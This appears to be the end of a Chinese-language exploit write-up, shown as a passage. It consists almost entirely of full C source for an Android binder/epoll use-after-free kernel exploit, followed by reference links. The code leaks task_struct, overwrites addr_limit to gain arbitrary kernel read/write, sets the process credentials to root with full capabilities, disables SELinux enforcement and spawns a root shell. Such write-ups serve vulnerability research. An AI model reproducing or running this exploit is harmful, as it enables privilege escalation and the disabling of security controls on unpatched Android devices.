GLOBAL_ROOT_UID);kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, fsgid)), GLOBAL_ROOT_GID);kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, securebits)), SECUREBITS_DEFAULT);kWriteQword((void *) ((uint8_t *) m_cred + offsetof(struct cred, cap_inheritable)), CAP_EMPTY_SET);kWriteQword((void *) ((uint8_t *) m_cred + offsetof(struct cred, cap_permitted)), CAP_FULL_SET);kWriteQword((void *) ((uint8_t *) m_cred + offsetof(struct cred, cap_effective)), CAP_FULL_SET);kWriteQword((void *) ((uint8_t *) m_cred + offsetof(struct cred, cap_bset)), CAP_FULL_SET);kWriteQword((void *) ((uint8_t *) m_cred + offsetof(struct cred, cap_ambient)), CAP_EMPTY_SET);

完整的exp:

#define _GNU_SOURCE
#include <stdbool.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <ctype.h>
#include <sys/uio.h>
#include <err.h>
#include <sched.h>
#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <linux/sched.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <errno.h>struct binder_thread {uint8_t junk1[160];         /*    0    0xa0 */uint8_t wait[24];           /* 0xa0    0x18 */uint8_t junk2[224];         /* 0xb8    0xe0 */
} __attribute__((packed));      /* size:  0x198 */struct task_struct {uint8_t junk1[1256];        /*     0  0x4e8 */pid_t pid;                  /* 0x4e8    0x4 */uint8_t junk2[412];         /* 0x4ec  0x19c */uint64_t cred;              /* 0x688    0x8 */uint8_t junk3[48];          /* 0x690   0x30 */uint64_t nsproxy;           /* 0x6c0    0x8 */uint8_t junk4[1944];        /* 0x6c8  0x798 */
} __attribute__((packed));      /* size:  0xe60 */struct cred {int32_t usage;              /*    0    0x4 */uint32_t uid;               /*  0x4    0x4 */uint32_t gid;               /*  0x8    0x4 */uint32_t suid;              /*  0xc    0x4 */uint32_t sgid;              /* 0x10    0x4 */uint32_t euid;              /* 0x14    0x4 */uint32_t egid;              /* 0x18    0x4 */uint32_t fsuid;             /* 0x1c    0x4 */uint32_t fsgid;             /* 0x20    0x4 */uint32_t securebits;        /* 0x24    0x4 */uint64_t cap_inheritable;   /* 0x28    0x8 */uint64_t cap_permitted;     /* 0x30    0x8 */uint64_t cap_effective;     /* 0x38    0x8 */uint64_t cap_bset;          /* 0x40    0x8 */uint64_t cap_ambient;       /* 0x48    0x8 */uint8_t junk2[40];          /* 0x50   0x28 */void *security;             /* 0x78    0x8 */uint8_t junk3[40];          /* 0x80   0x28 */
} __attribute__((packed));      /* size:  0xA8 */#define PAGE_SIZE 0x1000
#define BINDER_THREAD_SZ 0x190
#define WAITQUEUE_OFFSET 0xA0
#define IOVEC_WQ_INDEX (0xa0 / 16)
#define IOVEC_COUNT (BINDER_THREAD_SZ/16)
#define BINDER_THREAD_EXIT 0x40046208ul
#define TASK_STRUCT_OFFSET_IN_LEAKED_DATA 0xE8
#define OFFSET_TASK_STRUCT_ADDR_LIMIT 0xA18
#define GLOBAL_ROOT_UID     (uint32_t)0
#define GLOBAL_ROOT_GID     (uint32_t)0
#define SECUREBITS_DEFAULT  (uint32_t)0x00000000
#define CAP_EMPTY_SET       (uint64_t)0
#define CAP_FULL_SET        (uint64_t)0x3FFFFFFFFF
#define SYMBOL_OFFSET_init_nsproxy      (ptrdiff_t)0x1233ac0
#define SYMBOL_OFFSET_selinux_enforcing (ptrdiff_t)0x14acfe8int m_binder_fd = 0;
int m_epoll_fd = 0;
void *m_4gb_aligned_page;
struct epoll_event m_epoll_event = {.events = EPOLLIN};
void *m_pidAddress;
struct cred *m_cred;
void *m_credAddress;
void *m_nsproxyAddress;
int m_kernel_rw_pipe_fd[2] = {0};
struct task_struct * m_task_struct;void leak_task_struct(void){int ret;cpu_set_t cpuSet;CPU_ZERO(&cpuSet);CPU_SET(0, &cpuSet);//// It's a good thing to bind the CPU to a specific core,// so that we do not get scheduled to different core and// mess up the SLUB state//printf("[+] Binding to 0th core\n");ret = sched_setaffinity(0, sizeof(cpu_set_t), &cpuSet);if (ret < 0) {printf("[-] bindCPU failed: 0x%x\n", errno);}int pipe_fd[2] = {0};ssize_t nBytesRead = 0;static char dataBuffer[PAGE_SIZE] = {0};struct iovec iovecStack[IOVEC_COUNT]= {nullptr};printf("[+] start opening /dev/binder");m_binder_fd = open("/dev/binder",O_RDONLY);if (m_binder_fd < 0) {printf("\t[-] Unable to get binder fd\n");exit(EXIT_FAILURE);} else {printf("\t[*] m_binder_fd: 0x%x\n", m_binder_fd);}printf("[+] Creating event poll\n");m_epoll_fd = epoll_create(1);if (m_epoll_fd < 0) {printf("\t[-] Unable to get event poll fd\n");exit(EXIT_FAILURE);} else {printf("\t[*] m_epoll_fd: 0x%x\n", m_epoll_fd);}printf("[+] setting up the pipe");if(pipe(pipe_fd)== -1){printf("[-] unable create pipe\n");exit(EXIT_FAILURE);}else{printf("create pipe successfully\n");}if(fcntl(pipe_fd[0],F_SETPIPE_SZ,PAGE_SIZE)== -1){printf("[-] Unable to change the pipe capacity\n");exit(EXIT_FAILURE);}else{printf("\t[*] Changed the pipe capacity to: 0x%x\n", PAGE_SIZE);}printf("[+] Setting up iovecs\n");if (!m_4gb_aligned_page) {printf("[+] Mapping 4GB aligned page\n");m_4gb_aligned_page = mmap((void *) 0x100000000ul,PAGE_SIZE,PROT_READ | PROT_WRITE,MAP_PRIVATE | MAP_ANONYMOUS,-1,0);if (!m_4gb_aligned_page) {printf("\t[-] Unable to mmap 4GB aligned page\n");exit(EXIT_FAILURE);} else {printf("\t[*] Mapped page: %p\n", m_4gb_aligned_page);}}iovecStack[IOVEC_WQ_INDEX].iov_base = m_4gb_aligned_page;iovecStack[IOVEC_WQ_INDEX].iov_len = PAGE_SIZE;iovecStack[IOVEC_WQ_INDEX + 1].iov_base = (void *) 0x41414141;iovecStack[IOVEC_WQ_INDEX + 1].iov_len = PAGE_SIZE;printf("[+] Linking eppoll_entry->wait.entry to binder_thread->wait.head\n");epoll_ctl(m_epoll_fd, EPOLL_CTL_ADD, m_binder_fd, &m_epoll_event);pid_t childPid = fork();if(childPid == 0){sleep(2);printf("[+] Un-linking eppoll_entry->wait.entry from binder_thread->wait.head\n");epoll_ctl(m_epoll_fd, EPOLL_CTL_DEL, m_binder_fd, &m_epoll_event);nBytesRead = read(pipe_fd[0], dataBuffer, sizeof(dataBuffer));if (nBytesRead != PAGE_SIZE) {printf("\t[-] CHILD: read failed. nBytesRead: 0x%lx, expected: 0x%x", nBytesRead, PAGE_SIZE);exit(EXIT_FAILURE);}exit(EXIT_SUCCESS);}printf("[+] Freeing binder_thread\n");ioctl(m_binder_fd, BINDER_THREAD_EXIT, NULL);ssize_t nBytesWritten =  writev(pipe_fd[1],iovecStack,IOVEC_COUNT);if(nBytesWritten == 0x2000){printf("[+] write 0x2000 word\n");}else{printf("[-]writev failed. nBytesWritten: 0x%lx, expected: 0x%x\n", nBytesWritten, PAGE_SIZE * 2);exit(1);}nBytesRead = read(pipe_fd[0], dataBuffer, sizeof(dataBuffer));if (nBytesRead != PAGE_SIZE) {printf("\t[-] read failed. nBytesRead: 0x%lx, expected: 0x%x", nBytesRead, PAGE_SIZE);exit(EXIT_FAILURE);}//// Wait for the child process to exit//wait(nullptr);m_task_struct = (struct task_struct *) *((int64_t *) (dataBuffer + TASK_STRUCT_OFFSET_IN_LEAKED_DATA));m_pidAddress = (void *) ((int8_t *) m_task_struct + offsetof(struct task_struct, pid));m_credAddress = (void *) ((int8_t *) m_task_struct + offsetof(struct task_struct, cred));m_nsproxyAddress = (void *) ((int8_t *) m_task_struct + offsetof(struct task_struct, nsproxy));printf("[+] Leaked task_struct: %p\n", m_task_struct);printf("\t[*] &task_struct->pid: %p\n", m_pidAddress);printf("\t[*] &task_struct->cred: %p\n", m_credAddress);printf("\t[*] &task_struct->nsproxy: %p\n", m_nsproxyAddress);}void PatchAddrLimit(){int sock_fd[2] = {0};ssize_t nBytesWritten = 0;struct msghdr message = {nullptr};struct iovec iovecStack[IOVEC_COUNT] = {nullptr};printf("[+] starting opening binder\n");m_binder_fd = open("/dev/binder",O_RDONLY);if(m_binder_fd < 0){printf("[-] can not open /dev/binder\n");exit(EXIT_FAILURE);}else{printf("[+] open /dev/binder successfully m_binder_fd= %d \n",m_binder_fd);}printf("[+] start opening epollevent\n");m_epoll_fd = epoll_create(1);if(m_epoll_fd < 0){printf("[-] can not create eventpoll\n");exit(EXIT_FAILURE);}else{printf("[+] create eventpoll successfully m_epoll_fd = %d \n",m_epoll_fd);}printf("[+] Setting up socket \n");if(socketpair(AF_UNIX,SOCK_STREAM,0,sock_fd) == -1){printf("[-]can not create socketpair\n");exit(EXIT_FAILURE);}else{printf("[+] created socketpair successfully\n");}printf("[+] writing junkcode to socket\n");static char junkSocketData[] = { 0x41  };nBytesWritten = write(sock_fd[1],&junkSocketData, sizeof(junkSocketData));if(nBytesWritten != sizeof(junkSocketData)){printf("[-] write junkcode failed , writed %lx, expected %lx",nBytesWritten,sizeof(junkSocketData));exit(EXIT_FAILURE);}printf("[+] setting up iovecs \n");if (!m_4gb_aligned_page) {printf("[+] Mapping 4GB aligned page\n");m_4gb_aligned_page = mmap((void *) 0x100000000ul,PAGE_SIZE,PROT_READ | PROT_WRITE,MAP_PRIVATE | MAP_ANONYMOUS,-1,0);if (!m_4gb_aligned_page) {printf("\t[-] Unable to mmap 4GB aligned page\n");exit(EXIT_FAILURE);} else {printf("\t[*] Mapped page: %p\n", m_4gb_aligned_page);}}iovecStack[IOVEC_WQ_INDEX].iov_base = m_4gb_aligned_page;iovecStack[IOVEC_WQ_INDEX].iov_len = 1;iovecStack[IOVEC_WQ_INDEX + 1].iov_base = (void *)0x41414141;iovecStack[IOVEC_WQ_INDEX + 1].iov_len = 0x8 + 0x8 + 0x8 +0x8;iovecStack[IOVEC_WQ_INDEX + 2].iov_base = (void *)0x42424242;iovecStack[IOVEC_WQ_INDEX + 2].iov_len = 0x8;static uint64_t FinalSocketData[] = {0x1,0x41414141,0x8+0x8+0x8+0x8,(uint64_t) ((uint8_t *) m_task_struct +OFFSET_TASK_STRUCT_ADDR_LIMIT),0xfffffffffffffffe};message.msg_iov = iovecStack;message.msg_iovlen = IOVEC_COUNT;printf("[+] linking eppoll_entry->wait.entry to binder_thread->wait.head \n");epoll_ctl(m_epoll_fd,EPOLL_CTL_ADD,m_binder_fd, &m_epoll_event);pid_t childPid = fork();if(childPid == 0){sleep(2);printf("[+] unlinking eppoll_entry->wait.entry from binder_thread->wait.head \n");epoll_ctl(m_epoll_fd,EPOLL_CTL_DEL,m_binder_fd, &m_epoll_event);nBytesWritten =  write(sock_fd[1],FinalSocketData,sizeof(FinalSocketData));if(nBytesWritten != sizeof(FinalSocketData)){printf("\t [-]write failed. nBytesWritten : 0x%lx , expected : 0x%lx\n",nBytesWritten,sizeof(FinalSocketData));exit(EXIT_FAILURE);}exit(EXIT_SUCCESS);}printf("[+] Freeing binder_thread \n");ioctl(m_binder_fd,BINDER_THREAD_EXIT,NULL);ssize_t nBytesReceived = recvmsg(sock_fd[0],&message,MSG_WAITALL);ssize_t expectedBytesReceived = iovecStack[IOVEC_WQ_INDEX].iov_len + iovecStack[IOVEC_WQ_INDEX + 1].iov_len + iovecStack[IOVEC_WQ_INDEX + 2].iov_len;if(nBytesReceived != expectedBytesReceived){printf("\t[-] recvmsg failed . nBytesReceived: 0x%lx , expected: 0x%lx\n",nBytesReceived,expectedBytesReceived);exit(EXIT_FAILURE);}wait(nullptr);}void kRead(void * Address ,size_t Length ,void * uBuffer){ssize_t nBytesWritten = write(m_kernel_rw_pipe_fd[1],Address,Length);if( (size_t) nBytesWritten != Length ){printf("[-] Failed to write data from kernel :%p\n",Address);exit(EXIT_FAILURE);}ssize_t nBytesRead    = read(m_kernel_rw_pipe_fd[0],uBuffer,Length);if( (size_t) nBytesRead != Length ){printf("[-] Failed to read data from kernel : %p\n",Address);exit(EXIT_FAILURE);}}void kWrite(void * Address, size_t Length, void * uBuffer){ssize_t nBytesWritten = write(m_kernel_rw_pipe_fd[1],uBuffer,Length);if( (size_t)nBytesWritten != Length ){printf("[-] Failed to write data from user: %p\n",Address);exit(EXIT_FAILURE);}ssize_t nBytesRead = read(m_kernel_rw_pipe_fd[0], Address, Length);if( (size_t)nBytesRead != Length ){printf("[-] Failed to write data to kernel: %p\n",Address);exit(EXIT_FAILURE);}}uint64_t kReadQword(void *Address) {uint64_t buffer = 0;kRead(Address, sizeof(buffer), &buffer);return buffer;
}/*** Read dword from arbitrary address** @param Address: address from where to read* @return: dword*/
uint32_t kReadDword(void *Address) {uint32_t buffer = 0;kRead(Address, sizeof(buffer), &buffer);return buffer;
}/*** Write dword to arbitrary address** @param Address: address where to write* @param Value: value to write*/
void kWriteDword(void *Address, uint32_t Value) {kWrite(Address, sizeof(Value), &Value);
}/*** Write qword to arbitrary address** @param Address: address where to write* @param Value: value to write*/
void kWriteQword(void *Address, uint64_t Value) {kWrite(Address, sizeof(Value), &Value);
}void JudgeRWAnyWhere(){printf("[+] Verifying read/write primissive\n");pid_t currentPid = getpid();pid_t expectedPid = 0;expectedPid = kReadDword(m_pidAddress);printf("\t [*] currentPid: %d\n",currentPid);printf("\t [*] expectedPid: %d\n",expectedPid);if(currentPid != expectedPid ){printf("\t[-] r/w failed\n");exit(EXIT_FAILURE);}else{printf("\t [*] r/w successfully\n");}}void PatchCred(){printf("[+] Patching current task cred members \n");m_cred = (struct cred *)kReadQword(m_credAddress);if(!m_cred){printf("\t [-] Failed to read cred: %p",m_credAddress);exit(EXIT_FAILURE);}printf("\t cred: %p\n",m_cred);kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, uid)), GLOBAL_ROOT_UID);kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, gid)), GLOBAL_ROOT_GID);kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, suid)), GLOBAL_ROOT_UID);kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, sgid)), GLOBAL_ROOT_GID);kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, euid)), GLOBAL_ROOT_UID);kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, egid)), GLOBAL_ROOT_GID);kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, fsuid)), GLOBAL_ROOT_UID);kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, fsgid)), GLOBAL_ROOT_GID);kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, securebits)), SECUREBITS_DEFAULT);kWriteQword((void *) ((uint8_t *) m_cred + offsetof(struct cred, cap_inheritable)), CAP_EMPTY_SET);kWriteQword((void *) ((uint8_t *) m_cred + offsetof(struct cred, cap_permitted)), CAP_FULL_SET);kWriteQword((void *) ((uint8_t *) m_cred + offsetof(struct cred, cap_effective)), CAP_FULL_SET);kWriteQword((void *) ((uint8_t *) m_cred + offsetof(struct cred, cap_bset)), CAP_FULL_SET);kWriteQword((void *) ((uint8_t *) m_cred + offsetof(struct cred, cap_ambient)), CAP_EMPTY_SET);}void DisableSElinux(){printf("[+] whether selinux is enabled\n");ptrdiff_t nsProxy = kReadQword(m_nsproxyAddress);if(!nsProxy){printf("\t [-] Failed to read nsproxy: %p",m_nsproxyAddress);exit(EXIT_FAILURE);}ptrdiff_t kernelBase = nsProxy - SYMBOL_OFFSET_init_nsproxy;auto selinuxEnforcing = (void *) (kernelBase + SYMBOL_OFFSET_selinux_enforcing);printf("\t[*] nsproxy: 0x%lx\n", nsProxy);printf("\t[*] Kernel base: 0x%lx\n", kernelBase);printf("\t[*] selinux_enforcing: %p\n", selinuxEnforcing);int selinuxEnabled = kReadDword(selinuxEnforcing);if (!selinuxEnabled) {printf("\t[*] selinux enforcing is disabled\n");return;}printf("\t[*] selinux enforcing is enabled\n");//// Now patch selinux_enforcing//kWriteDword(selinuxEnforcing, 0x0);printf("\t[*] Disabled selinux enforcing\n");
}int main(){leak_task_struct();PatchAddrLimit();printf("[+] main : Setting up pipe for kernel read\\write \n");if(pipe(m_kernel_rw_pipe_fd) == -1){printf("\t[-] Unable to create pipe \n");exit(EXIT_FAILURE);}else{printf("\t [*] pipe created successfully\n");}JudgeRWAnyWhere();PatchCred();DisableSElinux();printf("[+] spawn root shell\n");system("/bin/sh");}

参考

https://www.4hou.com/posts/7O9G

https://www.4hou.com/posts/mGqA

https://bbs.pediy.com/thread-266198.htm

https://www.52pojie.cn/thread-1083552-1-1.html

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